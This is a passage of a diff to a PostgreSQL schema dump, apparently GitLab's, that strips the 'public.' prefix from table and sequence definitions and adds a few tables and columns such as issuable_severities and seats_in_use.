NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.geo_upload_deleted_events_id_seq OWNED BY public.geo_upload_deleted_events.id;
+ALTER SEQUENCE geo_upload_deleted_events_id_seq OWNED BY geo_upload_deleted_events.id;
-CREATE TABLE public.gitlab_subscription_histories (
+CREATE TABLE gitlab_subscription_histories (
id bigint NOT NULL,
gitlab_subscription_created_at timestamp with time zone,
gitlab_subscription_updated_at timestamp with time zone,
@@ -12091,16 +12264,16 @@ CREATE TABLE public.gitlab_subscription_histories (
auto_renew boolean
);
-CREATE SEQUENCE public.gitlab_subscription_histories_id_seq
+CREATE SEQUENCE gitlab_subscription_histories_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.gitlab_subscription_histories_id_seq OWNED BY public.gitlab_subscription_histories.id;
+ALTER SEQUENCE gitlab_subscription_histories_id_seq OWNED BY gitlab_subscription_histories.id;
-CREATE TABLE public.gitlab_subscriptions (
+CREATE TABLE gitlab_subscriptions (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12113,35 +12286,37 @@ CREATE TABLE public.gitlab_subscriptions (
seats integer DEFAULT 0,
trial boolean DEFAULT false,
trial_starts_on date,
- auto_renew boolean
+ auto_renew boolean,
+ seats_in_use integer DEFAULT 0 NOT NULL,
+ seats_owed integer DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.gitlab_subscriptions_id_seq
+CREATE SEQUENCE gitlab_subscriptions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.gitlab_subscriptions_id_seq OWNED BY public.gitlab_subscriptions.id;
+ALTER SEQUENCE gitlab_subscriptions_id_seq OWNED BY gitlab_subscriptions.id;
-CREATE TABLE public.gpg_key_subkeys (
+CREATE TABLE gpg_key_subkeys (
id integer NOT NULL,
gpg_key_id integer NOT NULL,
keyid bytea,
fingerprint bytea
);
-CREATE SEQUENCE public.gpg_key_subkeys_id_seq
+CREATE SEQUENCE gpg_key_subkeys_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.gpg_key_subkeys_id_seq OWNED BY public.gpg_key_subkeys.id;
+ALTER SEQUENCE gpg_key_subkeys_id_seq OWNED BY gpg_key_subkeys.id;
-CREATE TABLE public.gpg_keys (
+CREATE TABLE gpg_keys (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12151,16 +12326,16 @@ CREATE TABLE public.gpg_keys (
key text
);
-CREATE SEQUENCE public.gpg_keys_id_seq
+CREATE SEQUENCE gpg_keys_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.gpg_keys_id_seq OWNED BY public.gpg_keys.id;
+ALTER SEQUENCE gpg_keys_id_seq OWNED BY gpg_keys.id;
-CREATE TABLE public.gpg_signatures (
+CREATE TABLE gpg_signatures (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12174,16 +12349,16 @@ CREATE TABLE public.gpg_signatures (
gpg_key_subkey_id integer
);
-CREATE SEQUENCE public.gpg_signatures_id_seq
+CREATE SEQUENCE gpg_signatures_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.gpg_signatures_id_seq OWNED BY public.gpg_signatures.id;
+ALTER SEQUENCE gpg_signatures_id_seq OWNED BY gpg_signatures.id;
-CREATE TABLE public.grafana_integrations (
+CREATE TABLE grafana_integrations (
id bigint NOT NULL,
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -12194,16 +12369,16 @@ CREATE TABLE public.grafana_integrations (
enabled boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.grafana_integrations_id_seq
+CREATE SEQUENCE grafana_integrations_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.grafana_integrations_id_seq OWNED BY public.grafana_integrations.id;
+ALTER SEQUENCE grafana_integrations_id_seq OWNED BY grafana_integrations.id;
-CREATE TABLE public.group_custom_attributes (
+CREATE TABLE group_custom_attributes (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12212,22 +12387,22 @@ CREATE TABLE public.group_custom_attributes (
value character varying NOT NULL
);
-CREATE SEQUENCE public.group_custom_attributes_id_seq
+CREATE SEQUENCE group_custom_attributes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.group_custom_attributes_id_seq OWNED BY public.group_custom_attributes.id;
+ALTER SEQUENCE group_custom_attributes_id_seq OWNED BY group_custom_attributes.id;
-CREATE TABLE public.group_deletion_schedules (
+CREATE TABLE group_deletion_schedules (
group_id bigint NOT NULL,
user_id bigint NOT NULL,
marked_for_deletion_on date NOT NULL
);
-CREATE TABLE public.group_deploy_keys (
+CREATE TABLE group_deploy_keys (
id bigint NOT NULL,
user_id bigint,
created_at timestamp with time zone NOT NULL,
@@ -12243,7 +12418,7 @@ CREATE TABLE public.group_deploy_keys (
CONSTRAINT check_f58fa0a0f7 CHECK ((char_length(key) <= 4096))
);
-CREATE TABLE public.group_deploy_keys_groups (
+CREATE TABLE group_deploy_keys_groups (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12252,25 +12427,25 @@ CREATE TABLE public.group_deploy_keys_groups (
can_push boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.group_deploy_keys_groups_id_seq
+CREATE SEQUENCE group_deploy_keys_groups_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.group_deploy_keys_groups_id_seq OWNED BY public.group_deploy_keys_groups.id;
+ALTER SEQUENCE group_deploy_keys_groups_id_seq OWNED BY group_deploy_keys_groups.id;
-CREATE SEQUENCE public.group_deploy_keys_id_seq
+CREATE SEQUENCE group_deploy_keys_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.group_deploy_keys_id_seq OWNED BY public.group_deploy_keys.id;
+ALTER SEQUENCE group_deploy_keys_id_seq OWNED BY group_deploy_keys.id;
-CREATE TABLE public.group_deploy_tokens (
+CREATE TABLE group_deploy_tokens (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12278,16 +12453,16 @@ CREATE TABLE public.group_deploy_tokens (
deploy_token_id bigint NOT NULL
);
-CREATE SEQUENCE public.group_deploy_tokens_id_seq
+CREATE SEQUENCE group_deploy_tokens_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.group_deploy_tokens_id_seq OWNED BY public.group_deploy_tokens.id;
+ALTER SEQUENCE group_deploy_tokens_id_seq OWNED BY group_deploy_tokens.id;
-CREATE TABLE public.group_group_links (
+CREATE TABLE group_group_links (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12297,16 +12472,16 @@ CREATE TABLE public.group_group_links (
group_access smallint DEFAULT 30 NOT NULL
);
-CREATE SEQUENCE public.group_group_links_id_seq
+CREATE SEQUENCE group_group_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.group_group_links_id_seq OWNED BY public.group_group_links.id;
+ALTER SEQUENCE group_group_links_id_seq OWNED BY group_group_links.id;
-CREATE TABLE public.group_import_states (
+CREATE TABLE group_import_states (
group_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -12317,23 +12492,23 @@ CREATE TABLE public.group_import_states (
CONSTRAINT check_96558fff96 CHECK ((char_length(jid) <= 100))
);
-CREATE SEQUENCE public.group_import_states_group_id_seq
+CREATE SEQUENCE group_import_states_group_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.group_import_states_group_id_seq OWNED BY public.group_import_states.group_id;
+ALTER SEQUENCE group_import_states_group_id_seq OWNED BY group_import_states.group_id;
-CREATE TABLE public.group_wiki_repositories (
+CREATE TABLE group_wiki_repositories (
shard_id bigint NOT NULL,
group_id bigint NOT NULL,
disk_path text NOT NULL,
CONSTRAINT check_07f1c81806 CHECK ((char_length(disk_path) <= 80))
);
-CREATE TABLE public.historical_data (
+CREATE TABLE historical_data (
id integer NOT NULL,
date date NOT NULL,
active_user_count integer,
@@ -12341,16 +12516,16 @@ CREATE TABLE public.historical_data (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.historical_data_id_seq
+CREATE SEQUENCE historical_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.historical_data_id_seq OWNED BY public.historical_data.id;
+ALTER SEQUENCE historical_data_id_seq OWNED BY historical_data.id;
-CREATE TABLE public.identities (
+CREATE TABLE identities (
id integer NOT NULL,
extern_uid character varying,
provider character varying,
@@ -12361,16 +12536,16 @@ CREATE TABLE public.identities (
saml_provider_id integer
);
-CREATE SEQUENCE public.identities_id_seq
+CREATE SEQUENCE identities_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.identities_id_seq OWNED BY public.identities.id;
+ALTER SEQUENCE identities_id_seq OWNED BY identities.id;
-CREATE TABLE public.import_export_uploads (
+CREATE TABLE import_export_uploads (
id integer NOT NULL,
updated_at timestamp with time zone NOT NULL,
project_id integer,
@@ -12379,16 +12554,16 @@ CREATE TABLE public.import_export_uploads (
group_id bigint
);
-CREATE SEQUENCE public.import_export_uploads_id_seq
+CREATE SEQUENCE import_export_uploads_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.import_export_uploads_id_seq OWNED BY public.import_export_uploads.id;
+ALTER SEQUENCE import_export_uploads_id_seq OWNED BY import_export_uploads.id;
-CREATE TABLE public.import_failures (
+CREATE TABLE import_failures (
id bigint NOT NULL,
relation_index integer,
project_id bigint,
@@ -12402,16 +12577,16 @@ CREATE TABLE public.import_failures (
source character varying(128)
);
-CREATE SEQUENCE public.import_failures_id_seq
+CREATE SEQUENCE import_failures_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.import_failures_id_seq OWNED BY public.import_failures.id;
+ALTER SEQUENCE import_failures_id_seq OWNED BY import_failures.id;
-CREATE TABLE public.index_statuses (
+CREATE TABLE index_statuses (
id integer NOT NULL,
project_id integer NOT NULL,
indexed_at timestamp without time zone,
@@ -12423,31 +12598,31 @@ CREATE TABLE public.index_statuses (
wiki_indexed_at timestamp with time zone
);
-CREATE SEQUENCE public.index_statuses_id_seq
+CREATE SEQUENCE index_statuses_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.index_statuses_id_seq OWNED BY public.index_statuses.id;
+ALTER SEQUENCE index_statuses_id_seq OWNED BY index_statuses.id;
-CREATE TABLE public.insights (
+CREATE TABLE insights (
id integer NOT NULL,
namespace_id integer NOT NULL,
project_id integer NOT NULL
);
-CREATE SEQUENCE public.insights_id_seq
+CREATE SEQUENCE insights_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.insights_id_seq OWNED BY public.insights.id;
+ALTER SEQUENCE insights_id_seq OWNED BY insights.id;
-CREATE TABLE public.internal_ids (
+CREATE TABLE internal_ids (
id bigint NOT NULL,
project_id integer,
usage integer NOT NULL,
@@ -12455,36 +12630,51 @@ CREATE TABLE public.internal_ids (
namespace_id integer
);
-CREATE SEQUENCE public.internal_ids_id_seq
+CREATE SEQUENCE internal_ids_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.internal_ids_id_seq OWNED BY public.internal_ids.id;
+ALTER SEQUENCE internal_ids_id_seq OWNED BY internal_ids.id;
-CREATE TABLE public.ip_restrictions (
+CREATE TABLE ip_restrictions (
id bigint NOT NULL,
group_id integer NOT NULL,
range character varying NOT NULL
);
-CREATE SEQUENCE public.ip_restrictions_id_seq
+CREATE SEQUENCE ip_restrictions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ip_restrictions_id_seq OWNED BY public.ip_restrictions.id;
+ALTER SEQUENCE ip_restrictions_id_seq OWNED BY ip_restrictions.id;
+
+CREATE TABLE issuable_severities (
+ id bigint NOT NULL,
+ issue_id bigint NOT NULL,
+ severity smallint DEFAULT 0 NOT NULL
+);
-CREATE TABLE public.issue_assignees (
+CREATE SEQUENCE issuable_severities_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE issuable_severities_id_seq OWNED BY issuable_severities.id;
+
+CREATE TABLE issue_assignees (
user_id integer NOT NULL,
issue_id integer NOT NULL
);
-CREATE TABLE public.issue_links (
+CREATE TABLE issue_links (
id integer NOT NULL,
source_id integer NOT NULL,
target_id integer NOT NULL,
@@ -12493,16 +12683,16 @@ CREATE TABLE public.issue_links (
link_type smallint DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.issue_links_id_seq
+CREATE SEQUENCE issue_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.issue_links_id_seq OWNED BY public.issue_links.id;
+ALTER SEQUENCE issue_links_id_seq OWNED BY issue_links.id;
-CREATE TABLE public.issue_metrics (
+CREATE TABLE issue_metrics (
id integer NOT NULL,
issue_id integer NOT NULL,
first_mentioned_in_commit_at timestamp without time zone,
@@ -12512,16 +12702,16 @@ CREATE TABLE public.issue_metrics (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.issue_metrics_id_seq
+CREATE SEQUENCE issue_metrics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.issue_metrics_id_seq OWNED BY public.issue_metrics.id;
+ALTER SEQUENCE issue_metrics_id_seq OWNED BY issue_metrics.id;
-CREATE TABLE public.issue_tracker_data (
+CREATE TABLE issue_tracker_data (
id bigint NOT NULL,
service_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -12534,16 +12724,16 @@ CREATE TABLE public.issue_tracker_data (
encrypted_new_issue_url_iv character varying
);
-CREATE SEQUENCE public.issue_tracker_data_id_seq
+CREATE SEQUENCE issue_tracker_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.issue_tracker_data_id_seq OWNED BY public.issue_tracker_data.id;
+ALTER SEQUENCE issue_tracker_data_id_seq OWNED BY issue_tracker_data.id;
-CREATE TABLE public.issue_user_mentions (
+CREATE TABLE issue_user_mentions (
id bigint NOT NULL,
issue_id integer NOT NULL,
note_id integer,
@@ -12552,16 +12742,16 @@ CREATE TABLE public.issue_user_mentions (
mentioned_groups_ids integer[]
);
-CREATE SEQUENCE public.issue_user_mentions_id_seq
+CREATE SEQUENCE issue_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.issue_user_mentions_id_seq OWNED BY public.issue_user_mentions.id;
+ALTER SEQUENCE issue_user_mentions_id_seq OWNED BY issue_user_mentions.id;
-CREATE TABLE public.issues (
+CREATE TABLE issues (
id integer NOT NULL,
title character varying,
author_id integer,
@@ -12599,30 +12789,30 @@ CREATE TABLE public.issues (
CONSTRAINT check_fba63f706d CHECK ((lock_version IS NOT NULL))
);
-CREATE SEQUENCE public.issues_id_seq
+CREATE SEQUENCE issues_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.issues_id_seq OWNED BY public.issues.id;
+ALTER SEQUENCE issues_id_seq OWNED BY issues.id;
-CREATE TABLE public.issues_prometheus_alert_events (
+CREATE TABLE issues_prometheus_alert_events (
issue_id bigint NOT NULL,
prometheus_alert_event_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL
);
-CREATE TABLE public.issues_self_managed_prometheus_alert_events (
+CREATE TABLE issues_self_managed_prometheus_alert_events (
issue_id bigint NOT NULL,
self_managed_prometheus_alert_event_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL
);
-CREATE TABLE public.jira_connect_installations (
+CREATE TABLE jira_connect_installations (
id bigint NOT NULL,
client_key character varying,
encrypted_shared_secret character varying,
@@ -12630,16 +12820,16 @@ CREATE TABLE public.jira_connect_installations (
base_url character varying
);
-CREATE SEQUENCE public.jira_connect_installations_id_seq
+CREATE SEQUENCE jira_connect_installations_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.jira_connect_installations_id_seq OWNED BY public.jira_connect_installations.id;
+ALTER SEQUENCE jira_connect_installations_id_seq OWNED BY jira_connect_installations.id;
-CREATE TABLE public.jira_connect_subscriptions (
+CREATE TABLE jira_connect_subscriptions (
id bigint NOT NULL,
jira_connect_installation_id bigint NOT NULL,
namespace_id integer NOT NULL,
@@ -12647,16 +12837,16 @@ CREATE TABLE public.jira_connect_subscriptions (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.jira_connect_subscriptions_id_seq
+CREATE SEQUENCE jira_connect_subscriptions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.jira_connect_subscriptions_id_seq OWNED BY public.jira_connect_subscriptions.id;
+ALTER SEQUENCE jira_connect_subscriptions_id_seq OWNED BY jira_connect_subscriptions.id;
-CREATE TABLE public.jira_imports (
+CREATE TABLE jira_imports (
id bigint NOT NULL,
project_id bigint NOT NULL,
user_id bigint,
@@ -12677,16 +12867,16 @@ CREATE TABLE public.jira_imports (
CONSTRAINT check_9ed451c5b1 CHECK ((char_length(error_message) <= 1000))
);
-CREATE SEQUENCE public.jira_imports_id_seq
+CREATE SEQUENCE jira_imports_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.jira_imports_id_seq OWNED BY public.jira_imports.id;
+ALTER SEQUENCE jira_imports_id_seq OWNED BY jira_imports.id;
-CREATE TABLE public.jira_tracker_data (
+CREATE TABLE jira_tracker_data (
id bigint NOT NULL,
service_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -12706,16 +12896,16 @@ CREATE TABLE public.jira_tracker_data (
CONSTRAINT check_214cf6a48b CHECK ((char_length(project_key) <= 255))
);
-CREATE SEQUENCE public.jira_tracker_data_id_seq
+CREATE SEQUENCE jira_tracker_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.jira_tracker_data_id_seq OWNED BY public.jira_tracker_data.id;
+ALTER SEQUENCE jira_tracker_data_id_seq OWNED BY jira_tracker_data.id;
-CREATE TABLE public.keys (
+CREATE TABLE keys (
id integer NOT NULL,
user_id integer,
created_at timestamp without time zone,
@@ -12730,16 +12920,16 @@ CREATE TABLE public.keys (
expires_at timestamp with time zone
);
-CREATE SEQUENCE public.keys_id_seq
+CREATE SEQUENCE keys_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.keys_id_seq OWNED BY public.keys.id;
+ALTER SEQUENCE keys_id_seq OWNED BY keys.id;
-CREATE TABLE public.label_links (
+CREATE TABLE label_links (
id integer NOT NULL,
label_id integer,
target_id integer,
@@ -12748,16 +12938,16 @@ CREATE TABLE public.label_links (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.label_links_id_seq
+CREATE SEQUENCE label_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.label_links_id_seq OWNED BY public.label_links.id;
+ALTER SEQUENCE label_links_id_seq OWNED BY label_links.id;
-CREATE TABLE public.label_priorities (
+CREATE TABLE label_priorities (
id integer NOT NULL,
project_id integer NOT NULL,
label_id integer NOT NULL,
@@ -12766,16 +12956,16 @@ CREATE TABLE public.label_priorities (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.label_priorities_id_seq
+CREATE SEQUENCE label_priorities_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.label_priorities_id_seq OWNED BY public.label_priorities.id;
+ALTER SEQUENCE label_priorities_id_seq OWNED BY label_priorities.id;
-CREATE TABLE public.labels (
+CREATE TABLE labels (
id integer NOT NULL,
title character varying,
color character varying,
@@ -12790,16 +12980,16 @@ CREATE TABLE public.labels (
cached_markdown_version integer
);
-CREATE SEQUENCE public.labels_id_seq
+CREATE SEQUENCE labels_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.labels_id_seq OWNED BY public.labels.id;
+ALTER SEQUENCE labels_id_seq OWNED BY labels.id;
-CREATE TABLE public.ldap_group_links (
+CREATE TABLE ldap_group_links (
id integer NOT NULL,
cn character varying,
group_access integer NOT NULL,
@@ -12810,16 +13000,16 @@ CREATE TABLE public.ldap_group_links (
filter character varying
);
-CREATE SEQUENCE public.ldap_group_links_id_seq
+CREATE SEQUENCE ldap_group_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ldap_group_links_id_seq OWNED BY public.ldap_group_links.id;
+ALTER SEQUENCE ldap_group_links_id_seq OWNED BY ldap_group_links.id;
-CREATE TABLE public.lfs_file_locks (
+CREATE TABLE lfs_file_locks (
id integer NOT NULL,
project_id integer NOT NULL,
user_id integer NOT NULL,
@@ -12827,16 +13017,16 @@ CREATE TABLE public.lfs_file_locks (
path character varying(511)
);
-CREATE SEQUENCE public.lfs_file_locks_id_seq
+CREATE SEQUENCE lfs_file_locks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.lfs_file_locks_id_seq OWNED BY public.lfs_file_locks.id;
+ALTER SEQUENCE lfs_file_locks_id_seq OWNED BY lfs_file_locks.id;
-CREATE TABLE public.lfs_objects (
+CREATE TABLE lfs_objects (
id integer NOT NULL,
oid character varying NOT NULL,
size bigint NOT NULL,
@@ -12847,16 +13037,16 @@ CREATE TABLE public.lfs_objects (
CONSTRAINT check_eecfc5717d CHECK ((file_store IS NOT NULL))
);
-CREATE SEQUENCE public.lfs_objects_id_seq
+CREATE SEQUENCE lfs_objects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.lfs_objects_id_seq OWNED BY public.lfs_objects.id;
+ALTER SEQUENCE lfs_objects_id_seq OWNED BY lfs_objects.id;
-CREATE TABLE public.lfs_objects_projects (
+CREATE TABLE lfs_objects_projects (
id integer NOT NULL,
lfs_object_id integer NOT NULL,
project_id integer NOT NULL,
@@ -12865,32 +13055,32 @@ CREATE TABLE public.lfs_objects_projects (
repository_type smallint
);
-CREATE SEQUENCE public.lfs_objects_projects_id_seq
+CREATE SEQUENCE lfs_objects_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.lfs_objects_projects_id_seq OWNED BY public.lfs_objects_projects.id;
+ALTER SEQUENCE lfs_objects_projects_id_seq OWNED BY lfs_objects_projects.id;
-CREATE TABLE public.licenses (
+CREATE TABLE licenses (
id integer NOT NULL,
data text NOT NULL,
created_at timestamp without time zone,
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.licenses_id_seq
+CREATE SEQUENCE licenses_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.licenses_id_seq OWNED BY public.licenses.id;
+ALTER SEQUENCE licenses_id_seq OWNED BY licenses.id;
-CREATE TABLE public.list_user_preferences (
+CREATE TABLE list_user_preferences (
id bigint NOT NULL,
user_id bigint NOT NULL,
list_id bigint NOT NULL,
@@ -12899,16 +13089,16 @@ CREATE TABLE public.list_user_preferences (
collapsed boolean
);
-CREATE SEQUENCE public.list_user_preferences_id_seq
+CREATE SEQUENCE list_user_preferences_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.list_user_preferences_id_seq OWNED BY public.list_user_preferences.id;
+ALTER SEQUENCE list_user_preferences_id_seq OWNED BY list_user_preferences.id;
-CREATE TABLE public.lists (
+CREATE TABLE lists (
id integer NOT NULL,
board_id integer NOT NULL,
label_id integer,
@@ -12923,16 +13113,16 @@ CREATE TABLE public.lists (
limit_metric character varying(20)
);
-CREATE SEQUENCE public.lists_id_seq
+CREATE SEQUENCE lists_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.lists_id_seq OWNED BY public.lists.id;
+ALTER SEQUENCE lists_id_seq OWNED BY lists.id;
-CREATE TABLE public.members (
+CREATE TABLE members (
id integer NOT NULL,
access_level integer NOT NULL,
source_id integer NOT NULL,
@@ -12952,32 +13142,32 @@ CREATE TABLE public.members (
override boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.members_id_seq
+CREATE SEQUENCE members_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.members_id_seq OWNED BY public.members.id;
+ALTER SEQUENCE members_id_seq OWNED BY members.id;
-CREATE TABLE public.merge_request_assignees (
+CREATE TABLE merge_request_assignees (
id bigint NOT NULL,
user_id integer NOT NULL,
merge_request_id integer NOT NULL,
created_at timestamp with time zone
);
-CREATE SEQUENCE public.merge_request_assignees_id_seq
+CREATE SEQUENCE merge_request_assignees_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_request_assignees_id_seq OWNED BY public.merge_request_assignees.id;
+ALTER SEQUENCE merge_request_assignees_id_seq OWNED BY merge_request_assignees.id;
-CREATE TABLE public.merge_request_blocks (
+CREATE TABLE merge_request_blocks (
id bigint NOT NULL,
blocking_merge_request_id integer NOT NULL,
blocked_merge_request_id integer NOT NULL,
@@ -12985,16 +13175,16 @@ CREATE TABLE public.merge_request_blocks (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.merge_request_blocks_id_seq
+CREATE SEQUENCE merge_request_blocks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_request_blocks_id_seq OWNED BY public.merge_request_blocks.id;
+ALTER SEQUENCE merge_request_blocks_id_seq OWNED BY merge_request_blocks.id;
-CREATE TABLE public.merge_request_context_commit_diff_files (
+CREATE TABLE merge_request_context_commit_diff_files (
sha bytea NOT NULL,
relative_order integer NOT NULL,
new_file boolean NOT NULL,
@@ -13010,7 +13200,7 @@ CREATE TABLE public.merge_request_context_commit_diff_files (
merge_request_context_commit_id bigint
);
-CREATE TABLE public.merge_request_context_commits (
+CREATE TABLE merge_request_context_commits (
id bigint NOT NULL,
authored_date timestamp with time zone,
committed_date timestamp with time zone,
@@ -13024,16 +13214,16 @@ CREATE TABLE public.merge_request_context_commits (
merge_request_id bigint
);
-CREATE SEQUENCE public.merge_request_context_commits_id_seq
+CREATE SEQUENCE merge_request_context_commits_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_request_context_commits_id_seq OWNED BY public.merge_request_context_commits.id;
+ALTER SEQUENCE merge_request_context_commits_id_seq OWNED BY merge_request_context_commits.id;
-CREATE TABLE public.merge_request_diff_commits (
+CREATE TABLE merge_request_diff_commits (
authored_date timestamp without time zone,
committed_date timestamp without time zone,
merge_request_diff_id integer NOT NULL,
@@ -13046,7 +13236,26 @@ CREATE TABLE public.merge_request_diff_commits (
message text
);
-CREATE TABLE public.merge_request_diff_files (
+CREATE TABLE merge_request_diff_details (
+ merge_request_diff_id bigint NOT NULL,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ verification_retry_count smallint,
+ verification_checksum bytea,
+ verification_failure text,
+ CONSTRAINT check_81429e3622 CHECK ((char_length(verification_failure) <= 255))
+);
+
+CREATE SEQUENCE merge_request_diff_details_merge_request_diff_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE merge_request_diff_details_merge_request_diff_id_seq OWNED BY merge_request_diff_details.merge_request_diff_id;
+
+CREATE TABLE merge_request_diff_files (
